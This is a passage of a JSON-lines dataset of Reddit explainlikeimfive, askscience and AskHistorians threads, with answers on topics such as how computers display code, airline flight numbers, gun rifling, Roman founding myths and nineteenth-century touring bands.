#x200B;\n\nFor example if you click the mouse, then a \"mouse click handler\" code is executed. It checks which part of the screen you clicked on, then it checks to see what application is using that part of the screen, then it gives that information to the application and it figures out which part of the application the mouse was over and what it should do. If that application happens to be Microsoft Word, then it will figure out if the mouse was over the document part, or over one of the menu parts. If it was over the document then it will figure out where the place the cursor based on where you clicked.", "**TLDR**: Essentially, a binary string gets turned into a longer binary string with each pixel in the monitor receiving three values, one for each of it's Red-Green-Blue lights \n\n\\[ON-ON-OFF\\]  = >  \\[(on-off-off)-(on-off-off)-(off-off-off)\\] = >  two red pixels, then one black pixel\n\nThe exact method and rules of converting this data depends upon the OS, program and GPU.\n\n=====\n\n**Text**:\n\nEach language has a way of converting binary into a pixel-pattern, and this is called encoding. English has 3 that are commonly used, and ASCII is one of the more popular schemes.\n\nEssentially, you start with a string in binary...\n\n 01101000 01101001\n\n...then this is processed with one of the OS's encoding schemes (ASCII, for instance) which is part of the OS software. This breaks the string into a code point that references a shape, and we get...\n\n72 73\n\n...which is then passed to the graphics processor and turned into a pixel pattern for that code point...\n\nx - - - x      xx x xx\n\nx - - - x      - - x - -\n\nxx x xx      - - x - -\n\nx - - - x      - - x - -\n\nx - - - x      xx x xx     = HI\n\n...and that information is sent to the monitor, so that all the \"-\" are shown as white and the \"x\" as black, and this example contains 25 pixels per letter.\n\n & #x200B;\n\n**Graphics**:\n\nSoftware does a bunch of math to calculate geometry and position and texture, but clipped to the view of a camera or what is being \"rendered\" in the scene/level. The binary string that contains all this is sent to the GPU, which does a bit more geometry to see which parts of the scene can be ignored (because a person standing behind a wall is part of the scene, but is not seen).\n\nSometimes software does this occlusion culling before the GPU sees the data the first time (this is where API's come in, like DirectX and OpenGL). This shifts some of the processing from the GPU to the CPU.\n\nThe GPU then converts the remaining binary into patterns that the monitor can understand, and we get another HI pattern like above, but including details about color (so each pixel in the monitor gets three bits of info). The monitor receives this information and each pixel (which contains 3 lights) will turn on the corresponding colors to make that part of the image.\n\nIt's probably worth mentioning that the GPU has a built-in software that helps it do all this conversion, and that software is proprietary to the manufacturer and specific to the card model.\n\n=====\n\nSo the crazy thing here is that a resolution of 1024x1024 gives you  1,048,576 pixels in the monitor, each has three lights so thats  3,145,728 bits, and a typical monitor does this 60 times per second. That means the GPU is sending out  188,743,680 bits of data per second, on top of the 60 sets of geometry calculations it does to get that data.\n\n & #x200B;", "Maybe start with Ben Eater\u2019s excellent \u20188 bit microcomputer\u2019 YouTube series. It is truly amazing how he explains thing from the ground up. ", "I think your question has 2 parts.  \n\n1.  How is human-typed code executed in a computer.\n\n2  how is the results of computer execution displayed on the screen\n\nBoth have been answered though.   ", "The other answers, while correct, don't seem ELI5, so I'll give it shot.\n\nComputer code is made up of instructions. As a human, I might instruct my computer to show me a red cube on a white background. This is called *high-level instructions*.\n\nThe computer breaks that down into something it can work with. For example, it will create an image of the cube in its brain, calculate the position of its corners, choose the colours from a palette like a painter, and whatever else it needs to do. Then, it will figure out how to show this 3D image on a 2D screen (i.e. what the cube will look like if you flatten it). Strictly speaking, this is still *high-level instructions*; back in the day humans would write these instructions instead of the simpler one from above, but we have since made shortcuts for often used commands.\n\nThe part of the computer that's responsible for showing the image is the screen, so the computer will translate the instructions for the screen to understand (i.e. which pixels to turn red and which ones to turn white). These are *low-level instructions*.\n\nIt's not done yet. The screen will then interpret these instructions and execute them through even more basic operations (i.e. turn on the electricity for this diode, turn it off for that one).\n\nThat's mostly how it happens. What's interesting is to note that some operations are executed by the computer brain, others by the screen (or different components I haven't mentioned). That's why *compatibility* is so important in computing.", "Basically computers are digital guys, which are made up of buttons and wires, I'm going to show you inside their digital lives. So inside their digital minds there is a digital mind. \n\nClever, they're very clevery guys. Computers now can count to a 50 in the blink of my eye. Then print a picture. All while telling you the time. This is helpful especially when trying to find something you're looking to find.\n\nBecause its easy to be a clever smart boy like me if you do it all digitally.\n\nWow I wish I could think smart like a computer.", "I think it is also important to consider that all of the functionality that you see today has  been built up over decades. If you look at programs from simple computers long ago, people had to code instructions for almost every little thing that happened. Most programs could do little more than display text on a screen and perform some basic calculations. \n\nRather than reinventing the wheel every time, people can reuse code that performs a useful function. Many of these functions get built into the programming languages themselves, either as a core part of the languages, or an extra packages that can be downloaded. For example, if I needed my program to come up with a random number, I'm not writing code to do that, I'm just calling a random number function that someone else has created. Operating systems like Windows and Linux also provide a huge amount of the functionality. And then there are things like unity engine for video games development, which provide even more tools and code that handles things for the programmer. \n\nIn short, the code written by a modern programmer is only a very, very small portion of the code that actually gets executed. Most of the hard work is being handled by the other code that many other people have written in the past. If I want to display an image on the screen, it might require me to write a single line of code, but there could actually be hundreds or even thousands of other lines of code executing to make it happen.", "Ultimately there is a region of memory where every byte corresponds to a pixel on your monitor. That byte has color information. The OS updates this block of memory continually. The video driver reads this block and sends it to your monitor. ", "Basically it all comes down to two things:\n1) point the CPU to some memory to look for instructions\n2) manipulate memory\n\nDepending on where you point the CPU to, further operations deliver a foreseeable and for the user useful result. \n\nOn this level of abstraction there is only memory. The distinction of it being code or data is arbitrary and only interpretation. \n\nAnd what you see on screen is only  the memory of your graphic device being manipulated.\n\nData and code are indistinguishable from each other. \n\nSome data looks for us like code, since it makes the CPU do the things we wanted it to. \n\nManipulating memory to make the computer do things we intended is called programming. \n\nWriting step by step instructions is called \"machine\" or \"assembly\" language. From there on you could abstract more and more i. e. write code which produces / translates to other code. ", "Imagine you have a massive notebook with squared sheets. You can write a little piece of data (i.e. a number) in every square, and you know how to refer to every square by saying e.g. \"page 150, square 59\". This is your \"memory\".\n\nThen you have a processor that is able to read those little numbers from memory and interpret them as instructions. For example: the CPU starts reading from page 0, square 0. It sees the number 8. It checks it's instructions table and the number 8 turns out to be the \"add\" instruction. It then knows that for \"add\" instruction, the next few squares hold the addresses of the numbers that it needs to add, and the address where it needs to put the result. For instance, 50, 3, 125, 2, 2, 50. \"Read the numbers from page 50, square 3 and page 125, square 2, add them and write down the result in page 2, square 50\". The processor has now completed one instruction and it has reached square 7 on the instructions page where the next instruction code can be found, and so forth.\n\nThen you have your graphics card that also has memory and is also able to process instructions on how to modify that memory, but the squares in your graphics card's notebook have a special meaning for your monitor. Your monitor knows that the squares starting from page X contain the description of colors that it needs to display, so it re-reads those numbers many times per second and sets its pixels correspondingly. \n\nThis is the link between \"code\" (a very very long sequence of instructions) and the output on your screen.\n\nNow you can't achieve very much by adding two numbers a few times, and any interesting program contains thousands, millions of these little instructions and you could imagine that writing them all out by hand is not only tedious, but very difficult to get right because even a tiny little mistake means that your whole program is incorrect. At the very start of computer engineering, people have actually done it that way, but then they realised they could write a program that would translate something that is much easier for people to write into those long long lists of basic instructions that the machine can understand. Such programs are called compilers, and you can now write things like:\n\n\n*print \"Hi, my name is John\"*\n\n\nAnd the compiler is able to convert that into a very long sequence of instructions that result in your CPU and graphics card modifying the little numbers in their large notebooks so that when you monitor reads them and adjusts its pixels accordingly those pixels spell out your name.", "Thank you so much to everyone who replied! I'm beginning to see that this is much more complex than I originally thought. But that's what makes it so interesting! I'm still reading through every reply, but seriously THANK YOU to everybody who took the time to answer."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "236qeu", "title": "how are flight numbers assigned, and are well-known numbers (like 370) \"retired\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/236qeu/eli5_how_are_flight_numbers_assigned_and_are/", "answers": {"a_id": ["cgty718", "cgu0og4"], "score": [3, 2], "text": ["The \"route\" is named.  So the flight from New York to Atlanta will have some number assigned to it.\n\nYes, all of the flights in 9/11 were retired and new numbers assigned.", "It depends of the airline.\n\nSome airlines use a well organise way of numbering their flights. Some will use the first number to tell wich day of flying (1 for monday, 2 for tuesday and so on).. But other will use the first number for the destination and then the second number for the day of the week.\n\nAlso, for a regular airline like Air Canada or US Airways, they will have \"flag\" flights that are linking two cities that are their \"signature\" flight. Air France, for example, will have a flight from Paris to Montreal with their A380 with the same number all year round.\n\nFor flights that are \"multi-airline\"(i.e: Montreal to Paris with Air France and Paris to Amsterdam with Lufthanza) will use a 4 digit flight number. Some airline (minor one) will use 4 digit flight to signify that the flight is sold and crewed by his employee but the airplane is with another company's logo.\n\nSource: Airline Employee who work for the flight management department"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1s2bi8", "title": "If an asteroid headed towards Earth capable of destroying life is detected, would the public be told?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s2bi8/if_an_asteroid_headed_towards_earth_capable_of/", "answers": {"a_id": ["cdtbooa", "cdtftcb"], "score": [10, 2], "text": ["So far, based on several press releases in the last couple of years where the close passage of large asteroids which had a chance of hitting Earth was not only widely publicised, but even exagerated, I'd say there is no such strategy to hide the data (or if there is, it is profoundly ineffective).\n\nGratuitous examples:\n\n_URL_1_\n\n_URL_2_\n\nAlso, the NASA near impact risk site is quite transparent:\n\n_URL_0_", "Almost nothing can ever be kept a secret. The kind of people that work in intelligence (e.g. snowden), or in NASA are the kinds of people that are generally against keeping secrets. The theory that you can keep secrets in this day and age is outdated. It is very difficult for an organization to keep a secret.\n\nNASA wouldn't be able to keep such a thing secret -- even if that was the protocol given to them, it would be leaked. Would the world be *told* in the form of an official announcement? possibly not. Would the world know? Definitely.\n\nIn the real world of course, such a thing would be detected by so many people, the protocols within both NASA, ESA, Roskosmos and almost every other agency would be completely irrelevant regardless."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://neo.jpl.nasa.gov/risk/", "http://rt.com/news/dangerous-asteroid-collide-earth-313/", "http://www.cnn.com/2013/10/18/tech/asteroid-near-pass/"], []]}
{"q_id": "9s5k3s", "title": "how come 90% of architecture in california is the same tan color with an orangish-brown roof? i get it for the older buildings, but it seems like the newer buildings are still following this building style.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9s5k3s/eli5_how_come_90_of_architecture_in_california_is/", "answers": {"a_id": ["e8m7y9h", "e8m7z85", "e8md2yd"], "score": [22, 11, 3], "text": ["Traditional Spanish style. If you're talking about terracotta roofs, that is. Lots of Spanish migration over here, and it's also just a beautiful way to do you house. Not to mention terracotta roofs are very good for preventing leaks and what not.", "A lot of cities have building codes that force builders to follow the same aesthetic that the city already has. So, things like roof styles, exterior facades, etc, match. It prevents somebody from building something that sticks out or could be considered an eyesore ", "Where you see this is in desert regions of California, which is most of the coastal cities and the high desert, of course. It matches the landscape."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "8ib9yl", "title": "Early Roman anti-christian polemic", "selftext": "Hi everyone,\nGranted, it was on Wikipedia but I remember reading about the rise of early christianity in the Roman Empire and about the polemics aimed at the figure of Jesus and christianity as a whole. There was a Greek philosopher who basically argued that \"there already was a famous Greek man who performed miracles and other feats and we have proof of his existence, why not worship him if there is absolutely no proof of Jesus?\". Not a direct quote by any means but that was the crux of it.\nWho was the author of that claim? Who was he referencing? Who were the biggest outspoken critics of the early christianity? Where can I read more?\nI am aware of the broad scope of the question so please forgive me but it sits on my mind for two months already and the unfruitful search for answers only ignited my interest further.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8ib9yl/early_roman_antichristian_polemic/", "answers": {"a_id": ["dyqgnq6", "dyqio3p"], "score": [4, 3], "text": ["You are more than likely thinking of Celsus who wrote his *On True Doctrine* (\u039b\u03cc\u03b3\u03bf\u03c2 \u1f08\u03bb\u03b7\u03b8\u03ae\u03c2) in the late 170s, possibly in response to the work of Justin Martyr. We only have this work in fragmentary form thanks to Origen's (d. 253) *Contra Celsum* (Against Celsus). Celsus therein argues that Jesus is not only similar, but inferior to other gods. Asclepius had returned from the dead and done so for longer and more clearly. Celsus likewise mentions people like Aristeas, who could vanish and reappear (*Contra Celsus* 3.3). Nobody counts Aristeas as a god, so why would anyone think of Jesus as one? \n\nIf you want to read more, check out Origen's *Contra Celsum*. You may likewise be interested in the work of Justin Martyr, who lived contemporaneously with Celsus. Augustine's *On the City of God* is also a very good work for seeing how later Christians responded to pagan critics. For other pagan critics of Christianity in antiquity, check out Porphyry's (d. 305) *Against the Christians* as well as Julian the Apostate's (d. 363) *Against the Galileans*. \n\nFor academic works, check out Robert Louis Wilken's *The Christians as the Romans Saw Them* as well as Jeff Hargis' *Against the Christians: The Rise of Early Anti-Christian Polemic*. ", "You're probably thinking of Apollonius of Tyana, who has been frequently compared with Jesus in anti-Christian polemic ever since an imperial official named Hierocles did so in his book *Lover of Truth*. The *Life of Apollonius of Tyana* by Philostratus is available in an edition and translation by Christopher P. Jones in two volumes from the Loeb Classical Library, with a third volume containing the surviving letters of Apollonius, things said about Apollonius in the writings of other ancient authors, and a rebuttal to Sossianus Hierocles by Eusebius of Caesarea which calls into question both the reliability of Philostratus' astounding tales and the moral character of Apollonius according to what Philostratus reports."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6xrf5l", "title": "why is that when we are sick with a cold we step into the shower and all sickness seems to vanish. but, when we get out its right back to being miserable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xrf5l/eli5_why_is_that_when_we_are_sick_with_a_cold_we/", "answers": {"a_id": ["dmhye4i"], "score": [15], "text": ["When we have a cold, our nasal passages become stopped up with a thick mucus. When we get in a hot shower, the steam from the hot water clears up our congestion. As soon as the steam disappears, the mucus starts building back up"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f6l485", "title": "how is singing the alphabet backward used as a sobriety test when most people can\u2019t do it even while sober?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f6l485/eli5_how_is_singing_the_alphabet_backward_used_as/", "answers": {"a_id": ["fi5fa2n", "fi5l3hl"], "score": [48, 6], "text": ["ABC Test Procedure\nWhile many people believe that the ABC test consists of reciting the alphabet backwards\u2014something many people would have problems with even in less stressful situations\u2014this is not the case. Rather, the officer may ask you to recite a portion of the alphabet (i.e., from \"e\" to \"x\").In some cases, you may be asked to say or write down the entire alphabet.\n\nWhile you are reciting the ABCs, the officer will look for signs of alcohol or drug impairment. These include slurring your speech, starting the test early, having problems reciting the alphabet correctly and difficulty following directions. If you exhibit one or more of these signs, you could be arrested for drunk driving.\n\nProblems with the ABC Test\nThe ABC test is not one of the three field sobriety tests standardized by the National Highway Traffic Safety Administration (NHTSA), and there are no consistent guidelines on how it should be administered. This means that one officer may provide different directions or look for different signs than another officer, rendering the test score unreliable.", "If you\u2019ve ever seen a drunk person try and recite the alphabet, you see what a difficult time they have just trying to start from the beginning. Also, while concentrating on a mental task, they can\u2019t concentrate as hard on the physical task of maintaining balance etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "mjutc", "title": "can someone explain the whole civil war thing going on in skyrim to me in simple terms?", "selftext": "I haven't started the game yet, but when I do, I want to be able to pick a side, and stick with it. Can anyone explain in simple terms what each side wants or is fighting for and why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mjutc/can_someone_explain_the_whole_civil_war_thing/", "answers": {"a_id": ["c31ik06", "c31ik06"], "score": [4, 4], "text": ["Wood elves and High elves team up and attack the empire. The war ends with a treaty in which the empire agrees to end the worship of Talos, a Nord hero who became a God. Skyrim, the Nord province, is outraged. One group, the Stormcloaks, wants to secede from the empire and worship Talos. The other group supports the empire and its laws. They fight.", "Wood elves and High elves team up and attack the empire. The war ends with a treaty in which the empire agrees to end the worship of Talos, a Nord hero who became a God. Skyrim, the Nord province, is outraged. One group, the Stormcloaks, wants to secede from the empire and worship Talos. The other group supports the empire and its laws. They fight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "bs3ici", "title": "why do buses make that \"pfsssst\" sound when they stop?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bs3ici/eli5_why_do_buses_make_that_pfsssst_sound_when/", "answers": {"a_id": ["eoik5ee", "eoikm79"], "score": [50, 10], "text": ["Many large vehicles have a system of brakes actuated by compressed air instead of hydraulic fluid or cables you would find in a lighter vehicle or passenger car.\n\nParking/emergency brakes on such vehicles are usually \"normally closed\": to release the brake, air pressure must be applied to the brake.  For these, a sudden release of air pressure will quickly activate that brake, but also will create a little bit of noise.", "Air brakes.\n\nA tank of compressed air hold the brakes off, pressing the brake pedal relieves some pressure allowing the brakes to apply.\n\nThe tank is pressurised by a pump on the engine.\n\nWhen stopped, the parking brake will allow the brakes to fully apply by releasing all pressure in the lines.\n\nIt's far more complicated I'm sure!\n\nEdit: one reason they are used over hydraulic systems is fail-safe and maintenance.\nIf something failed, the brakes will lock on, not dump fluid under pressure and facilitates road-side repair."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9on361", "title": "what exactly causes fired rounds/shells to spiral in flight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9on361/eli5_what_exactly_causes_fired_roundsshells_to/", "answers": {"a_id": ["e7v5yvi", "e7v600u", "e7v640c", "e7v65qk", "e7v66w5", "e7v6anq"], "score": [7, 5, 2, 3, 3, 2], "text": ["Rifling.\n\nThere are grooves inside the barrel that spin the round.  It continues to spin after it exits.\n\nSometimes, barrels are '\"smoothbore\" which means there is no rifling, such as in shotguns or tanks.  In this case the round itself will have rifling or some other means of making itself spin.\n\nShells just refer to the casing.  They don't exit the barrel.  They get ejected.", "[That would be because of what is predictably called \"rifling\".](_URL_0_) There are ridges on the inside of the barrel that dig into the projectile, and they spiral down the length of the barrel which forces the projectile to rotate along with them. This is actually why they are called \"rifles\" as smooth-bored guns are referred to differently.\n\nSee: _URL_1_", "Rifelling ( probably spelt that wrong) in the barrel. A group of ridges running the length of the barrel that spiral to impart a spin on the bullet, that improves range and accuracy.", "As already answered, rifling. Various bores (barrels) will have rifling of different lengths and numbering, from a couple of shallow grooves to a large number of deep grooves. Most AR15/M4 uppers, for example, will have a rifling of 1:7. One full revolution every 7\". In most cases the rifling will be evenly spaced along the entirety of the bore, but in some there might be an increase (more grooves, more tightly spaced together, etc) toward the end of the barrel, before the projectile exits the bore.", "Inside the barrel of a gun there are grooves called rifling, they are cut in a spiral, and that gives the bullet its spin. Most new guns have a spec listed thats like \"1:10 rifling\" or \"1:8 twist rate\" that tells you at what ratio the bullet is set to spin at. Its 1 rotation of the bullet to how many inches for that single rotation.", "The inside of the barrel is \u201crifled\u201d which means there are groves that make the bullet twist inside the barrel as it goes down it. This is intentional since a rotating object is more stable. \n\nThink of a front wheel on a bicycle that you spin and then try to move the handlebars or a top that you spin. \n\nNow this does cause some non-optimal movement of the bullet since as it spins it does push against the air so it does cause a slight curve to the bullets path (like a curve ball) but since the rotation is consistent so is the degree of curve to a bullets path. The benefits though outweigh this curving. Old bullets weren\u2019t stable and therefore would tumble and be more susceptible to imperfections in the bullet. \n\nThis makes long range shooting much more difficult since you don\u2019t just have to account for target\u2019s distance and movement and wind speed and direction but now also the curve of the bullet. Side note: at really long ranges things like temp, humidity, elevation and even the spin of the earth need to be taken into account. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.epicgames.com/unrealtournament/forums/filedata/fetch?id=333526", "https://www.reddit.com/r/explainlikeimfive/comments/9olfci/eli5_what_causes_a_bulletmissile_to_spin_after/"], [], [], [], []]}
{"q_id": "2el46e", "title": "Why do electrical insulators used to suspend high voltage infrastructure, etc. have 'fillets' or 'ridges' running their length?", "selftext": "For clarity, I'm referring to [this style of insulator:](_URL_0_)\n\nI'm guessing it has something to do with increasing the surface area of the insulator, but can someone explain why this is necessary? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2el46e/why_do_electrical_insulators_used_to_suspend_high/", "answers": {"a_id": ["ck0juz0", "ck0jyev", "ck0xo3q"], "score": [14, 26, 4], "text": ["It is to increase the path length for conduction along the surface of the insulator. ", "One common point of failure for this type of insulator is called flashover, when the air around the insulator breaks down and becomes conductive. Current can arc around the insulator, especially when it's wet. Insulators are glazed for this reason, to shed water and reduce the effect of moisture on flashover. The ridges are for a similar purpose. They increase the surface area, which increases the distance required to arc around the insulator, and thus reduces the potential for flashover.", "As myopiczeal said it is to increase the distance between conductors and prevent flashover.  The spacing between conductors is important and there are various requirements (UL, IEC, etc.) for how much spacing you need.  Spacing through the air is called \"clearance\" and spacing over the surface of an insulator is called \"creepage.\"  A design like that greatly increases the creepage distance.  "]}, "title_urls": [], "selftext_urls": ["http://thumbs.dreamstime.com/z/red-ceramic-insulators-power-line-32243302.jpg"], "answers_urls": [[], [], []]}
{"q_id": "7rn8am", "title": "Why is the Roman founding myth so unglamorous?", "selftext": "While the story of Aeneas feels suitably epic and romantic, the story of his descendant Romulus is decidedly less so. The mythical founder and first king of Rome was a bastard born of rape who murdered his own brother.  Even if this had actually happened, it seems strange that the Romans would continue to tell what appears (to a modern eye, at least) to be such an unflattering story about their founding.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7rn8am/why_is_the_roman_founding_myth_so_unglamorous/", "answers": {"a_id": ["dsy8mwl", "dsy9qcp"], "score": [37, 15], "text": ["This is a brief answer, and I hope that one of our flairs who focus more deeply on the topic can respond as well\n\nThe short of it is that founding myths generally are not meant to be glamorous or bestowing glory. Many of the founding myths of Taiwanese aboriginal groups are built on incest stories. The foundational stories of many Naga groups in India/Myanmar involve being duped into matricide. Most of the stories that explain the origin of how they came to practice human sacrifice are equally unflattering to an outsider's eye.\n\nOne aspect of my work is collecting oral histories from remote communities that I work with, and I often have to remind myself that the stories aren't going to always make sense to me. To go in with my biases and worldview are not going to get me anywhere in understanding the significance of the stories. To ask \"but _why_?\" won't go anywhere. Regarding the matricide stories, I've asked people \"wait so your reason that you still give today for doing this thing that you today think is bad and have stopped doing is that your older brother tricked you into killing your mom?\" but it's not really taken as a matter of what makes them look good or bad; it's simply a matter of this is the story that we know of our history, this is how it happened.\n\nIf you want a modern Western (Anglophone) parallel, look at Australia. For many (not all), it has become a point of pride to have an ancestor who came as a convict. This has been written about a number of times in the past decade as this shift has continued.\n\nJust to tack on to that, other founding myths have been absolutely changed by bits of information from the outside, or from things like folk etymologies. Group A has a founding story. Group B thinks their name sounds like some phrase an so someone comes up with a different story about them. Group B has more prestige than group A, so B's story replaces A's. This absolutely happens, and I've seen it first hand. Oral traditions are powerful and not to be discounted by people coming from a rich written tradition, but just like the written record, oral traditions can be corrupted over time. It is thus not unthinkable that a positive founding story could be replaced by one a little less flattering.\n\nAs an aside, I would also be wary of the \"modern eye\" phrasing, only because \"primitive people's\" today are not at all primitive and \"modern\" generally is means as \"like us\" whoever \"us\" happens to be at the time.", "You are looking at two separate foundation myths which were later merged together, which explains why the whole story seems a bit odd. [Here](_URL_0_) is an old post I made about it. I'll copy and paste below for convenience:\n\n > Are you asking about the legendary origins? In this case, the Romans were descended from both the Latins and the Trojans. According to this popular variant of the foundation myth, Aeneas the Trojan flees to central Italy. There he marries the daughter of local king Latinus. Other Trojans also marry the locals, and their progeny are called the Latins. Romulus and Remus are direct descendants and found the city of Rome. Therefore, the Romans were descendants of these Latins, who were themselves descended from Trojans.\n\n > That is the simple, established version. But we are probably dealing with two separate mythical traditions here which were joined together at a later time. One involves Aeneas the Trojan, and one involves Romulus the Latin. The popular version I gave above is the final result of a long process.\n\n > The idea that the Romans were descended from the Trojans was very old and originated with the Greeks. The earliest references we know of are from the end of the fifth century, when both Hellanicus of Lesbos and Damastes of Sigeum claim Rome was founded by Aeneas of Troy. However, it is possible the legend was already established in central Italy a century prior to this.\n\n > Another, separate myth had Romulus as the founder of Rome. This is the popular Romulus and Remus and the she-wolf story everyone knows. This was probably an indigenous legend and did not come from the Greeks or Etruscans or anyone else. It was a homegrown foundation story. This was at least as old as the Aeneas story, because the famous she-wolf bronze statue has been dated to the mid-sixth century.\n\n > Over time the Aeneas version of the myth became more and more popular around the Mediterranean, particularly when Rome grew in size and influence and had more dealings with the Greek world. One idea is that Aeneas really exploded in popularity in Rome by the time of the war with Pyrrhus around 280 BC. Pyrrhus claimed descent from Achilles and portrayed his attack on Italy as a new Trojan War. This meant the Romans were the Trojans, which the Romans happily accepted.\n\n > But there was a problem. If the Romans wanted to believe they were Trojans, what were they to do with their local myth about Romulus? Simple. Romulus became Aeneas\u2019 son or grandson.\n\n > But there was another problem. According to calculations from Greek scholars, the Trojan War probably took place around 1200 BCE in our reckoning. But the Romans already had established a timeline with Romulus being alive in the eighth century. How to fix this? Simple. Insert a long line of Kings of Alba Longa between Aeneas and Romulus.\n\n > And with these little tweaks, the Romans could be descended from both Aeneas and Romulus. So in the end, the Romans counted both the Trojans and the ancient Latins as their ancestors.\n\n > My favourite source for this is T.J. Cornell\u2019s The Beginnings of Rome."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.reddit.com/r/AskHistorians/comments/3he1sx/were_the_latins_or_trojans_ancestors_of_the_romans/cu6z4b0/"]]}
{"q_id": "44wl61", "title": "how does teeth whitening work, and how are the at-home kits and professional dental equipment kits different?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44wl61/eli5_how_does_teeth_whitening_work_and_how_are/", "answers": {"a_id": ["czto683", "cztp3wk"], "score": [8, 3], "text": ["I actually saw people on reddit recommending using a solution of hydrogen peroxide and baking soda, i have been using that like four times weekly and i have seen far better results already than any home kit. It's far cheaper too which is a bonus!", "They are forms of bleaching your teeth. The professional dental kids are just higher quality bleach and they also tend to make trays that fit your teeth perfectly as opposed to the stick on kits you get from the stores. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1czj10", "title": "Realistically, how long would a sword fight between two equally matched swordsman (not fencing) last? Stories and movies make them sound like all day event.", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1czj10/realistically_how_long_would_a_sword_fight/", "answers": {"a_id": ["c9lgkvr"], "score": [3], "text": ["I think that depends entirely upon the situation,but one could certainly examine the single combats during the Gothic War between the Eastern Roman Empire and the Ostrogoths of Italy.  At the battle of Taginae (where Narses, the Roman general, truly broke the back of the Goths) King Totila sent forth the fearsome Coccas, who was to duel the Armenian soldier Anzalas; they fought mounted, and Coccas charged, with the conflict being over in mere minutes.  Anzalas swerved away from Coccas' thrust and struck him down.  \n\nThough the fanfare leading up to a duel in late Antiquity might have been grand and lengthy, the combat did not often last for a long time.  \n\nI hoped this helped.  \n\nSources:  Procopius' history of the Gothic War.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "60rkgj", "title": "Musical historians: Were there widely known \"popular\" music groups/bands/touring bands before the invention of the radio?", "selftext": "Or is this a more current innovation? I understand that there were individual musicians that gained critical popular acclaim (Beethoven, Mozart, Tchaikovsky, .), but what about groups of musicians? Is the modern concept of a \"band\" a newer concept? I can't seem to recall any, except maybe choirs and such. Just curious! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/60rkgj/musical_historians_were_there_widely_known/", "answers": {"a_id": ["df8t3q8"], "score": [10], "text": ["Yes, there definitely were touring music groups before radio. In the U.S., dating back to the early 1800s, there was the tradition of touring \"minstrel shows\" with white musicians performing in blackface.\n\nTwo of the more notable such groups were the Virginia Minstrels, formed in the 1840s who popularized the song \"Jimmy Crack Corn\", and the Christy Minstrels, led by Edwin Pearce Christy and also formed in the 1840s who popularized several songs by songwriter and \"father of American music\" Stephen Foster, including \"Camptown Races\" and \"Swanee River\".\n\nLater on, in the 1880s, the vaudeville circuits began to emerge, and these venues invariably included travelling music acts at their nightly performances. Early vocalists performing on the vaudeville circuits before 1900 include Marie Cahill, Maggie Cline, Sam Lucas, Charlie Case [sic], Pauline Markham, and John Bunny.\n\nIn the first couple decades of the 1900s, before radio became a household item in the late 1920s, some of the touring vaudeville performers who sang onstage might be more familiar: Helen Hayes, Fanny Brice, Eddie Cantor, the Marx Brothers (started out solely as musicians), W.C. Handy, Maurice Chevalier, Ma Rainey, and more.\n\nEDIT:\n\nRe-reading your question, I didn't talk much about musical *groups*. There certainly were many, including the minstrel groups mentioned above. A lot of them from the 1800s would be family bands, with names like the [McGibeney Family](_URL_2_), the Barriston Sisters, and the [Girard Brothers](_URL_0_). There were also touring classical bands such as the [Germania Musical Society](_URL_1_).\n\nSources:\n\n*From Traveling Show to Vaudeville: Theatrical Spectacle in America, 1830\u20131910* by Robert M. Lewis\n\n*Four of the Three Musketeers: The Marx Brothers on Stage* by Robert S. Bader"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=nvY5AAAAIAAJ&amp;pg=PA286", "https://upload.wikimedia.org/wikipedia/commons/0/02/1853_GermaniaMusicalSoc_March12_BostonMusicHall.png", "https://www.digitalcommonwealth.org/search/commonwealth:w9505n30j"]]}
